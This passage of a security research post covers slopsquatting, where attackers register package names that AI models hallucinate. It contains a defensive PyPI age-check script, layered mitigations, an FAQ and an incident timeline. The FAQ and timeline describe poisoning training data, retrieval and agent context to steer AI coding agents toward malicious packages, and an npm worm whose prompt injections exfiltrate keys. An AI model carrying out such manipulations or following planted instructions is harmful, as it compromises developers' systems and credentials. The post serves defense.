pip install slopwatch, Apache-2.0; covers PyPI and npm. Zero-LLM and deterministic by design: Python/JS AST inspection, 73 compiled YARA rules across nine threat suites, Levenshtein typosquat distance with brand-entity disambiguation, and a registry-existence / parked-package gate.slopwatch check <lockfile>is the dependency-vs-registry linter;slopwatch inspect <pkg>does an in-memory tarball AST pass and auditssetup.py,.pth, and npm lifecycle hooks;slopwatch initwrites a pre-commit hook and a GitHub Actions workflow. When a score crosses the threshold but every contributing signal is individually weak, it returnsUNVERIFIED_HIGH_SIGNALrather than asserting malice — the confidence-gate idea from the section above, implemented. Disclosure: slopwatch is built by the same team as FlagThis, and is the engine behind this site's Sentinel feed. Machine-readable output is--json; SARIF output and a published Marketplace Action are not yet shipped.
These are all early-stage (mostly single-digit-to-low-double-digit GitHub stars as of this writing) — the space hasn't consolidated around one winner yet — but each already covers more registries and detection signals than the illustrative script below.
⚠️ The script below is for illustration only — do not deploy it. It exists to show how the age/existence check underlying most of the tools above actually works: one registry (PyPI), two detection signals (existence + namespace age), no typosquat detection, no CI/CD integration, no SBOM export. For real use, install one of the maintained projects listed above instead — each already covers more registries and more detection signals than this script does. This script has been tested (see "Verified behavior" below) and doesn't crash on the inputs we threw at it, but "tested" here means "does what a blog illustration should," not "hardened for production traffic against adversarial input."
Static Analysis Caveat (Module Import vs. Distribution Name Asymmetry): In Python, the name used in
import <module>frequently diverges from its canonical PyPI distribution package name (e.g.import yaml$\to$PyYAML,import cv2$\to$opencv-python,import PIL$\to$Pillow,import sklearn$\to$scikit-learn). Production linters must resolve top-level modules throughimportlib.metadata.packages_distributions()or a canonical mapping table before querying PyPI to avoid false-positive storms:
#!/usr/bin/env python3
"""
SlopCheck: Automated AI-Hallucinated Package and Slopsquatting Detector
*** ILLUSTRATION ONLY -- NOT FOR PRODUCTION USE. ***
Shows how the underlying technique (AST-extract imports -> resolve to a PyPI
distribution name -> check registry age) works. Deliberately minimal: PyPI
only, no typosquat detection, no CI integration, no SBOM export. For real
use, reach for a maintained multi-registry scanner instead -- e.g.
slopwatch (https://github.com/royans/slopwatch), dep-hallucinator
(https://github.com/serhanwbahar/dep-hallucinator), or slopcheck
(https://github.com/0xToxSec/slopcheck). See "Existing open-source
scanners" above for the full comparison.
Maps Python AST imports to canonical PyPI distribution packages, then queries
PyPI's JSON metadata API to flag newly registered namespaces (< 30 days old)
and non-existent dependencies suggested by LLMs.
Requires Python 3.10+ (uses sys.stdlib_module_names).
Run `python slop_check.py --selftest` for the offline self-tests.
"""
import ast
import sys
import json
import urllib.request
import urllib.error
from datetime import datetime, timezone
try:
from importlib.metadata import packages_distributions
except ImportError:
packages_distributions = None
QUARANTINE_AGE_DAYS = 30
# Fallback mapping for common top-level import names that diverge from PyPI distribution names
COMMON_IMPORT_TO_DIST = {
"cv2": "opencv-python",
"PIL": "Pillow",
"yaml": "PyYAML",
"sklearn": "scikit-learn",
"bs4": "beautifulsoup4",
"dateutil": "python-dateutil",
"jwt": "PyJWT",
"dotenv": "python-dotenv",
"google.protobuf": "protobuf",
"serial": "pyserial",
"magic": "python-magic",
}
def extract_imported_modules(source_code: str) -> set:
"""Parses Python AST to extract all top-level *absolute* import module names.
Relative imports (`from . import x`, `from .utils import y`) are deliberately
skipped -- `.level > 0` means the name resolves within the current package,
not against a public registry, so treating it as a distribution name to look
up on PyPI would be a false positive."""
tree = ast.parse(source_code)
modules = set()
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for alias in node.names:
modules.add(alias.name.split(".")[0])
elif isinstance(node, ast.ImportFrom):
if node.module and node.level == 0:
modules.add(node.module.split(".")[0])
return modules
def resolve_distribution_name(module_name: str) -> str:
"""Resolves top-level import module name to canonical PyPI distribution package name."""
# 1. Check local environment metadata if available
if packages_distributions:
try:
dists = packages_distributions().get(module_name)
if dists:
return dists[0]
except Exception:
pass
# 2. Check static canonical override mapping
if module_name in COMMON_IMPORT_TO_DIST:
return COMMON_IMPORT_TO_DIST[module_name]
# 3. Default to module name
return module_name
def inspect_pypi_package(pkg_name: str) -> dict:
"""Queries PyPI JSON API to assess initial package namespace inception age."""
url = f"https://pypi.org/pypi/{pkg_name}/json"
try:
req = urllib.request.Request(url, headers={"User-Agent": "SlopCheck/2.0"})
with urllib.request.urlopen(req, timeout=5) as resp:
data = json.loads(resp.read().decode("utf-8"))
releases = data.get("releases", {})
if not releases:
return {"status": "SUSPICIOUS_NO_RELEASES"}
# Find earliest release timestamp (initial namespace inception)
first_upload = None
for ver, files in releases.items():
for f in files:
upload_time = f.get("upload_time_iso_8601")
if upload_time:
dt = datetime.fromisoformat(upload_time.replace("Z", "+00:00"))
if first_upload is None or dt < first_upload:
first_upload = dt
if first_upload:
age_days = (datetime.now(timezone.utc) - first_upload).days
if age_days < QUARANTINE_AGE_DAYS:
return {
"status": "QUARANTINE_NEW_NAMESPACE",
"age_days": age_days,
"created_at": first_upload.isoformat()
}
return {"status": "OK", "age_days": age_days}
return {"status": "OK", "age_days": -1}
except urllib.error.HTTPError as e:
if e.code == 404:
return {"status": "UNCLAIMED_HALLUCINATION"}
return {"status": f"HTTP_ERROR_{e.code}"}
except Exception as e:
return {"status": f"ERROR_{str(e)}"}
def scan_file(filepath: str) -> int:
"""Returns a process exit code: 0 if nothing suspicious was found, 1 if the
scan itself failed (bad path / unparseable file), 2 if a hallucination or
newly-claimed namespace was flagged."""
print(f"[*] Scanning {filepath} for AI package hallucinations...")
try:
with open(filepath, "r", encoding="utf-8") as f:
code = f.read()
except OSError as e:
print(f"[x] Could not read '{filepath}': {e}")
return 1
try:
modules = extract_imported_modules(code)
except SyntaxError as e:
print(f"[x] '{filepath}' is not valid Python (line {e.lineno}): {e.msg}")
return 1
stdlib = set(sys.stdlib_module_names)
found_risk = False
for mod in sorted(modules):
if mod in stdlib:
continue
dist_name = resolve_distribution_name(mod)
result = inspect_pypi_package(dist_name)
status = result["status"]
if status == "QUARANTINE_NEW_NAMESPACE":
found_risk = True
print(f"[!] ALERT: '{mod}' (dist: '{dist_name}') is a newly claimed namespace ({result['age_days']} days old) — POTENTIAL SLOPSQUATTING!")
elif status == "UNCLAIMED_HALLUCINATION":
found_risk = True
print(f"[?] WARNING: '{mod}' (dist: '{dist_name}') does not exist on PyPI — UNCLAIMED HALLUCINATION!")
else:
print(f"[+] '{mod}' (dist: '{dist_name}'): {status}")
return 2 if found_risk else 0
def _run_self_tests():
"""Offline sanity checks -- no network calls, deterministic. Run via
`python slop_check.py --selftest`."""
assert extract_imported_modules("import os\nimport requests\n") == {"os", "requests"}
assert extract_imported_modules("from PIL import Image\n") == {"PIL"}
assert extract_imported_modules("import a.b.c\n") == {"a"}
assert extract_imported_modules("import a, b.c\n") == {"a", "b"}
# Relative imports must NOT be treated as PyPI lookups.
assert extract_imported_modules("from . import sibling\nfrom .utils import helper\n") == set()
try:
extract_imported_modules("def broken(:\n pass\n")
raise AssertionError("expected SyntaxError was not raised")
except SyntaxError:
pass
assert COMMON_IMPORT_TO_DIST["PIL"] == "Pillow"
assert COMMON_IMPORT_TO_DIST["cv2"] == "opencv-python"
print("[✓] All offline self-tests passed.")
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "--selftest":
_run_self_tests()
sys.exit(0)
elif len(sys.argv) > 1:
sys.exit(scan_file(sys.argv[1]))
else:
print("Usage: python slop_check.py <source_file.py> | --selftest")
sys.exit(1)
Verified behavior
Tested against real files, not just read for correctness — output is copied verbatim from actual runs (opencv-python/Pillow/scikit-learn resolve to lowercase distribution names below because this test environment had them installed locally, so importlib.metadata.packages_distributions() answered before the fallback table did — expected, and the reason step 1 of resolve_distribution_name exists):
$ python slop_check.py --selftest
[✓] All offline self-tests passed.
$ python slop_check.py real_imports.py # os, requests, numpy
[*] Scanning real_imports.py for AI package hallucinations...
[+] 'numpy' (dist: 'numpy'): OK
[+] 'requests' (dist: 'requests'): OK
$ python slop_check.py hallucinated_imports.py # two invented package names
[*] Scanning hallucinated_imports.py for AI package hallucinations...
[?] WARNING: 'acme_log_client_totally_fake_xyz_2026' (dist: 'acme_log_client_totally_fake_xyz_2026') does not exist on PyPI — UNCLAIMED HALLUCINATION!
[?] WARNING: 'crypto_validator_pro_9000' (dist: 'crypto_validator_pro_9000') does not exist on PyPI — UNCLAIMED HALLUCINATION!
$ echo $?
2
$ python slop_check.py does_not_exist.py
[*] Scanning does_not_exist.py for AI package hallucinations...
[x] Could not read 'does_not_exist.py': [Errno 2] No such file or directory: 'does_not_exist.py'
$ echo $?
1
Two real bugs turned up during testing and are fixed in the version above (not present as written): from .utils import helper (a relative import) was being resolved against PyPI as if utils were a third-party package, a false-positive source; and an unparseable file or a bad path crashed with a raw Python traceback instead of a clean exit code, which would have broken any CI pipeline piping this into another step.
The production concerns this script only gestures at — resolving import names to distribution names, excluding the standard library, not flagging on age alone, parsing the AST instead of regexing source, meaningful CI exit codes, the false-positive failure modes catalogued above — are what slopwatch (pip install slopwatch, Apache-2.0, built by the FlagThis team) exists to handle. slopwatch check <lockfile> is the dependency-vs-registry linter; slopwatch inspect <pkg> does the deep in-memory AST + YARA pass on an upstream package, auditing setup.py, .pth, and npm lifecycle hooks. It is deliberately zero-LLM — deterministic, offline, no API keys — and, unlike an LLM-based checker, it cannot be prompt-injected by the package code it is analyzing (see Layer 3 below on why that property matters at an agent's install gate).
From illustration to a live prototype: FlagThis Sentinel
The script above and the maintained projects in the previous section all scan a developer's own dependency tree. FlagThis runs a live feed aimed at the other side of the problem: watching PyPI/npm publish activity itself for packages that look like they were registered in anticipation of a hallucination, rather than waiting for a developer to try installing one. Sentinel runs the same slopwatch evaluator described above, plus context a point-in-time CLI scan does not have: name-grammar decomposition, materialized publisher-domain reputation, download momentum, and registration-age cohort. It scores newly-published packages against the semantic-affixing naming patterns described earlier in this post, publisher-domain mismatches against the brand a package name claims, and code/usage signals such as a near-empty codebase or a download spike on a days-old release.
The two surfaces are deliberately not calibrated to produce the same number. slopwatch inspect scores 0–100 from code analysis alone; the Sentinel feed scores 0–1000 with the accumulated context above, and the CLI runs a strict subset of the feed's signals — so the CLI will score lower on the same package, and its output says so. Neither is a verdict: Sentinel's are explicitly labeled automated, unconfirmed signals rather than adjudicated findings — a flagged package can be a false positive or a compromised legitimate account, not a proven attack.
What Sentinel demonstrates is that the generative grammar behind the hallucinations is equally enumerable by defenders. The same entity × capability × framework name grammar that produces crypto-validator or google-cloud-spanner-utils can be run forward exhaustively: it yields on the order of a million candidate names, of which roughly 800,000 are currently unregistered (about 350,000 on PyPI, 450,000 on npm). Sentinel maintains that set and matches the PyPI RSS and npm _changes streams against it, so a registration against a high-value predicted name is flagged as it happens, rather than after install volume accumulates — the registry-side instance of the predictive honeypotting recommended in Layer 1 below, and the earlier in Unit 42's Adversary Exploitation Window a candidate is flagged, the more of the 18-to-51-day gap a defender has to act in.
Defensive architecture: closing the hallucination window
Defending against Phantom Squatting requires treating AI output as untrusted input. Organizations must deploy a layered defense-in-depth architecture across registries, proxies, and execution environments:
Layer 1: Ecosystem and registry controls
- Predictive CLI Reservation: Public registries (PyPI, npm, crates.io) must maintain automated reservation engines claiming common CLI toolchain names (
huggingface-cli,aws-helper, etc.) and high-frequency hallucinated tokens. - Proactive Registry Honeypotting: Registry maintainers should systematically prompt frontier models across standard development scenarios and defensively register recurring hallucinations as benign placeholders.
- Registration Velocity Gates: Enforcing strict rate limits and email domain verification on bulk namespace creation.
- Verifiable Publisher Identity (Trusted Publishing + Attestations): A package's
authorandauthor_emailfields are self-asserted and unauthenticated — PyPI and npm never verify them, so "published by Vendor X" in registry metadata is not evidence of anything. A package can listsecurity@<major-vendor>.comas its author while harvesting cloud credentials at install time, and nothing in the registry contradicts it. PyPI Trusted Publishing (OIDC) with PEP 740 digital attestations, and npm provenance (GitHub/GitLab OIDC), bind a release to a specific CI identity and source repository. Any reputation or "official vendor" scoring — whether a registry's or a scanner's — is only sound when it is built on these cryptographic signals, not on the free-text metadata fields an attacker fully controls. - Structural namespace reservation — PyPI's PEP 752: The most consequential defense against slopsquatting is not a scanner but a governance change to the registry itself. PyPI's historically flat namespace — where any account can register any unclaimed string, letting an attacker simply claim whatever a model hallucinates — is what makes squatting possible in the first place. PEP 752, "Implicit namespaces for package repositories" (authored by Ofek Lev and Jarek Potiuk, sponsored by Barry Warsaw, accepted by the Python Steering Council) fixes this structurally, following the model NuGet already uses rather than npm's explicit
@scope/syntax: an organization can reserve a prefix (e.g.google-cloud-), and PyPI then rejects any upload matching that prefix from an unauthorized account. Once a brand has reserved its prefix, an LLM hallucinatinggoogle-cloud-spanner-utilsno longer creates a registrable attack surface — the namespace is already closed. It's worth noting PEP 752 replaces an earlier, narrower attempt: PEP 708, "Extending the Repository API to Mitigate Dependency Confusion Attacks," proposed a "tracks"/"alternate locations" metadata scheme for the multi-repository dependency-confusion case specifically, spent three years in provisional status, and was formally rejected in 2025 after the implementation conditions for full acceptance (PyPI UI support, a second repository implementing it, and a pip integration with demonstrated security benefit) were never met. PEP 752 is live infrastructure, not a proposal — but namespace reservation only protects prefixes an organization has actually claimed, so it closes the door on brand-name hallucinations (google-cloud-...,openai-...) without touching the far larger long tail of generic, unbranded hallucinated names (crypto-validator,auth-helper-pro) that this post's taxonomy above shows make up the majority of cases. That said, the brand-prefixed subset is also where credential-harvesting and impersonation payloads concentrate — a package pretending to be@aws-sdk/-adjacent has a reason to reach for~/.aws/credentialsthatcrypto-validatordoes not — so namespace reservation is worth more than its share of hallucinations-by-count suggests.
Layer 2: Enterprise proxy and CI/CD defenses
- The 30-Day Package Namespace Inception Rule: Configure private repository mirrors (JFrog Artifactory, Sonatype Nexus, AWS CodeArtifact) to quarantine public packages whose entire root namespace was claimed less than 30 days ago (first-release inception).
Preserving Zero-Day Patching: This policy must evaluate the initial namespace creation date, not the timestamp of new minor/patch releases. A security patch
v2.32.4for an established package (requests, with a 10-year track record) is allowed immediately; only brand-new, unestablished root namespaces are quarantined. - Cryptographic Context Binding: Feed AI models existing lockfiles (
package-lock.json,poetry.lock) during the prompt phase to ground code generation in verified, pre-existing project dependencies.A deterministic lockfile linter belongs in CI as a backstop —
slopwatch checkcompares every declared dependency against registry reality and flags hallucinated names, brand typosquats, and unpinned direct VCS URLs, and runs as a pre-commit hook or GitHub Actions job. - Hash-Pinned, Lock-Enforced Installs: Require fully pinned, hash-locked dependency resolution in CI:
pip install --require-hashesagainst apip-compile --generate-hasheslockfile,npm ciagainst a committedpackage-lock.json. A hallucinated package cannot appear in a hash-locked lockfile, so an autonomous agent or CI job that tries to pull one fails closed — adding any new dependency requires a human to regenerate the locked hashes. This is a stronger guarantee than prompting the model with an existing lockfile (item 2 above), because it does not depend on the model choosing to honor it. - Enforce Binary Wheels & Disable Install Scripts:
```bash
# Python: install only pre-built wheels, never build an sdist
pip install --only-binary=:all:
# Node.js: disable preinstall/install/postinstall lifecycle scripts
npm install --ignore-scripts ``--only-binary=:all:forces wheel installs and skips the source-distribution build step, wheresetup.py/ PEP 517 backend hooks execute. Note what it does **not** do: a common misconception is thatpip install --no-build-isolationhardens the install — it does not. That flag only disables the isolated environment pip uses to install a package's *build* dependencies; the package's ownsetup.py/ PEP 517 backend still runs when an sdist is built. And even a wheel install closes only the install-time class — a wheel can still execute code at **import** time and via.pthfiles at interpreter startup (see the import-time evasion section).
5. **Runtime eBPF Monitoring:** Deploy eBPF sensors to track unauthorized child processes or outbound network calls spawned during module import time (require()/import`).
Layer 3: Agent and runtime sandboxing
- Revoke Unattended Shell Permissions: Disable autonomous "yolo modes" in tools like Claude Code, Cursor, and Gemini CLI. Enforce a mandatory human-in-the-loop gate for any command executing
pip install,npm install,cargo add, or pulling remote repositories. A deterministic pre-install check belongs at that gate — and it must be zero-LLM: an LLM asked to vet a package's own code can be instructed by that code to return a benign verdict. - Pre-Fetch Verification Middleware: Integrate tools (e.g., Socket, Cloudsmith, Aikido SafeChain,
slopwatch check/slopwatch audit) into IDEs and agent execution loops to verify package age, provenance, and download history prior to running install commands. - Ephemeral, Credential-Stripped Sandboxes: Execute coding agents inside isolated containers stripped of host credentials (
~/.aws,~/.ssh,~/.kube) and production tokens. - Agentic endpoint monitoring: A category built specifically for the threat this post describes — governing what an AI agent does at the IDE/browser/terminal level, not just what a package looks like before install — emerged in 2026. Palo Alto Networks announced its intent to acquire Koi Security in February 2026 (reported at roughly $400M, notable for a company founded in 2024) specifically to fold Koi's "Wings" risk-scoring engine into Prisma AIRS and Cortex XDR, correlating code diffs, package ownership changes, and unexpected network egress in real time to catch an RDD or import-time payload at the moment it tries to execute — covering the payload-execution gap that registry-side SCA scanning, watching only the tarball, does not. This is worth naming as a concrete signal of where the defensive market is actually moving, not an endorsement of any specific vendor.
Frequently asked questions (FAQ)
What is the difference between Phantom Squatting, Slopsquatting, and HalluSquatting?
- Phantom Squatting: The overarching attack methodology of registering any non-existent digital asset (domain names, API endpoints, package namespaces) that AI models predictably hallucinate.
- Slopsquatting: The software supply chain vector: registering hallucinated library names on public registries (PyPI, npm, crates.io, RubyGems).
- HalluSquatting: The agentic execution vector: weaponizing deterministic hallucinations against autonomous AI coding agents to achieve zero-click remote code execution.
Why don't attackers just use traditional typosquatting?
Typosquatting relies on human spelling mistakes, which have low conversion rates and are easily caught by fuzzy-matching linters. Slopsquatting exploits deterministic model token distributions: thousands of developers receive the exact same hallucinated recommendation, generating massive authentic installation volume with zero marketing.
Can an attacker trigger package hallucinations intentionally?
Yes, by three routes of increasing practicality: * Training-data poisoning: seeding public repositories, package registries, or Q&A sites with a fake package name so it enters the next training corpus. High effort, slow payoff. * Prompt injection: manipulating the model's live context (a poisoned file the agent reads, a malicious system prompt) to bias its next suggestion. * Retrieval / RAG poisoning: planting a plausible README, forum answer, or GitHub repo that an agent's web-search or retrieval step ingests mid-task and repeats as a genuine recommendation. This is lower-effort than corpus poisoning and the most relevant path for agentic workflows, which routinely pull live web content into their context before writing code.
Does pip install always execute attacker code?
A source distribution (sdist) runs setup.py / the PEP 517 build backend at install time, so for an sdist the answer is effectively yes. pip install --only-binary=:all: avoids that by installing only pre-built wheels — but a wheel can still execute code at import time and via .pth startup hooks, so this closes the install-time class, not the whole attack surface. --no-build-isolation does not help here (see Layer 2, item 4): it only affects how build dependencies are installed, not whether setup.py runs.
Timeline
| Date | Event | Significance | Source |
|---|---|---|---|
| Mar 2023 | Initial discovery of AI package hallucination | Bar Lanyado (Vulcan Cyber) demonstrates ChatGPT generating fake package names on coding queries. | Vulcan Cyber Research |
| Jun 2023 | huggingface-cli PyPI case study launched |
Lanyado registers the hallucinated huggingface-cli package on PyPI to measure authentic developer download volume. |
Lasso Security |
| Oct 2023 | 30,000 downloads milestone recorded | The huggingface-cli proof-of-concept logs over 30,000 authentic installations from enterprise and academic IP addresses. |
Dark Reading |
| Jun 2024 | Unit 42 publishes "Phantom Squatting" domain analysis | Palo Alto Networks documents systemic domain hallucination across 2.1M URLs and formalizes the Adversary Exploitation Window (AEW). | Palo Alto Networks Unit 42 |
| Jan 2025 | Academic study: "Importing Phantoms" (garak framework) | Krishna et al. measure package hallucination vulnerabilities and Pareto frontier trade-offs across PyPI, npm, and crates.io. | arXiv:2501.19012 |
| Feb 2025 | USENIX Security 2025 paper accepted / prepublished | Landmark study evaluates 576,000 code samples across 16 models, logging 205,474 unique fabrications and 43% determinism (formally presented at the conference in Aug 2025). | arXiv:2406.10279 |
| Apr 2025 | "Slopsquatting" term coined | PSF Developer-in-Residence Seth Larson proposes the term for registering hallucinated package names; Andrew Nesbitt (Ecosyste.ms) popularizes it. | Simon Willison / Andrew Nesbitt |
| Aug 2025 | PhantomRaven campaign begins | Attackers start publishing npm packages (incl. unused-imports) using Remote Dynamic Dependencies to hide payloads from registry-side scanners. |
Koi Security via NowSecure |
| Oct 30, 2025 | PhantomRaven publicly disclosed | Koi Security discloses 126 malicious packages, 86,000+ installs, and names the RDD evasion mechanism. | The Hacker News |
| Nov 2025 – Feb 2026 | Three further PhantomRaven waves | 88 additional malicious packages found reusing PhantomRaven's RDD infrastructure. | Endor Labs |
| Feb 17, 2026 | Palo Alto Networks acquires Koi Security | Koi's "Wings" agentic-endpoint risk engine folded into Prisma AIRS and Cortex XDR, reported at ~$400M. | Palo Alto Networks |
| Feb 2026 | SANDWORM_MODE npm worm poisons AI toolchains | ~19 typosquatted npm packages write a rogue MCP server into Claude Code / Cursor / Windsurf / Continue; tool definitions carry prompt injections that exfiltrate SSH keys, AWS creds, and npm tokens. | Socket / Endor Labs |
| Mar 2026 | "Montana Empire" domain weaponization incident | Unit 42 documents postal service phishing kit deployed on an AI-hallucinated domain 23 days after initial model detection. | Palo Alto Networks Unit 42 |
| May 2026 | Moika dependency-confusion campaign | 250+ npm packages published under inflated version numbers to win npm's default resolution race; a related but mechanically distinct vector from AI-hallucination squatting. | SafeDep Threat Intelligence |
| May 2026 | 2026 frontier-model cohort re-benchmarked | Independent replication of the USENIX methodology on five Oct 2025–Mar 2026 models finds hallucination rates compressed to a 4.62%–6.10% band, 127 names shared across all five models, 53 still unregistered. | arXiv:2605.17062 / InfoWorld |
| Jun 2026 | Rust crate hallucination study (Internetware 2026) | First large-scale Rust study: 20.23% crate hallucination rate across six models, 55% of hallucinated module names shared across models, no significant temperature effect. | arXiv:2606.08444 |
| Jul 2026 | "HalluSquatting" zero-click agentic disclosures | Aya Spira & Ben Nassi demonstrate zero-click RCE against autonomous AI agents (Cursor, Windsurf, Copilot, Cline, Gemini CLI). | arXiv:2607.07433 |
The bottom line
Phantom Squatting, Slopsquatting, and HalluSquatting mark a structural transformation in software supply chain warfare. Attackers no longer need to breach enterprise repositories, compromise maintainer credentials, or predict human typos. Instead, they exploit the deterministic mathematical artifacts of generative AI models that developers and automated agents increasingly rely upon to build modern software.
As autonomous AI agents take over larger portions of the software engineering lifecycle — autonomously diagnosing errors, resolving dependencies, and executing terminal commands — the risk shifts from an engineer occasionally copy-pasting a bad command to an unmonitored agent systematically pulling poisoned packages into enterprise build pipelines. Defending against this vector requires treating all AI-suggested packages as untrusted input: enforcing package-age quarantines, deploying pre-fetch verification middleware, monitoring import-time execution, and maintaining strict human-in-the-loop controls over dynamic dependency resolution.
This is a living research post tracked under FlagThis's ongoing AI supply-chain intelligence program. As package registries adopt predictive honeypots and new agentic attack surfaces emerge, we will fold findings directly into the analysis above; see the revision history below for updates.
Sources
- We Have a Package for You! A Comprehensive Analysis of Package Hallucinations by Code Generating LLMs — Spracklen et al., USENIX Security 2025
- Importing Phantoms: Measuring LLM Package Hallucination Vulnerabilities — Krishna et al.
- The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort — Aleksandr Churilov (preprint, not peer-reviewed)
- When LLMs Invent Rust Crates: An Empirical Study of Hallucination Patterns and Mitigation — Zheng, Guan, Liu (Internetware 2026)
- Bayesian-Calibrated Detection of Hallucinated Package Imports in AI-Assisted Code — Hillah, Richard, Hasnaoui
- SANDWORM_MODE: Shai-Hulud-Style npm Worm Hijacks CI Workflows and Poisons AI Toolchains — Socket
- SANDWORM_MODE: Dissecting a Multi-Stage npm Supply Chain Attack — Endor Labs
- Top AIs invent same fake PyPI and npm package names — InfoWorld
- Beware of Agentic Botnets: Scalable Untargeted Promptware Attacks via Universal and Transferable Adversarial HalluSquatting — Spira, Nassi et al.
- Phantom Squatting: How AI Generates Predictable, Dangerous Domains — Palo Alto Networks Unit 42
- AI Package Hallucinations: Can You Trust ChatGPT's Package Recommendations? — Vulcan Cyber / Lasso Security
- ChatGPT Hallucinates Fake Software Packages — Dark Reading
- Slopsquatting & react-codeshift Analysis — Charlie Eriksen
- Python Package Security Considerations & Slopsquatting — Seth Larson
- The Rise of Slopsquatting: How AI Hallucinations Are Fueling a New Class of Supply Chain Attacks — Socket
- SlopWatch: Zero-LLM AI Hallucination & Supply Chain Threat Auditor — GitHub
- Phantom Squatting: LLM-Generated Hallucinated Domains as a Supply Chain Vector — FlagThis
- Agentjacking: Hijacking AI Coding Agents via Indirect Prompt Injection in the Software Supply Chain — FlagThis
- How a Texas Student Blew the Whistle on a Rogue AI Hacking Attempt — Reuters
- ChainDrop: Self-Propagating Infostealer Worm Targeting npm Supply Chain — FlagThis
- PyPI Security Architecture: Mitigating Malicious Code Execution in setup.py — Python Software Foundation
- npm scripts and Lifecycle Hooks: Security Considerations for Developers — npm Docs
- PEP 752 – Implicit namespaces for package repositories — Ofek Lev, Jarek Potiuk (Python Steering Council, accepted)
- PEP 708 – Extending the Repository API to Mitigate Dependency Confusion Attacks (rejected 2025)
- PhantomRaven npm Supply-Chain Attack: How Remote Dependencies Hide Malware — Koi Security via NowSecure
- PhantomRaven Malware Found in 126 npm Packages Stealing GitHub Tokens From Devs — The Hacker News
- The Return of PhantomRaven: Detecting Three New Waves of npm Supply Chain Attacks — Endor Labs
- oob.moika.tech Dependency Confusion Campaign — SafeDep Threat Intelligence
- Palo Alto Networks Announces Intent to Acquire Koi to Secure the Agentic Endpoint
- dep-hallucinator: AI dependency confusion scanner — serhanwbahar
- slopcheck: multi-registry hallucination and typosquat scanner — 0xToxSec
- Slop Scan GitHub Action — npm hallucination scanner
- Spracks/PackageHallucination: USENIX Security 2025 research code and dataset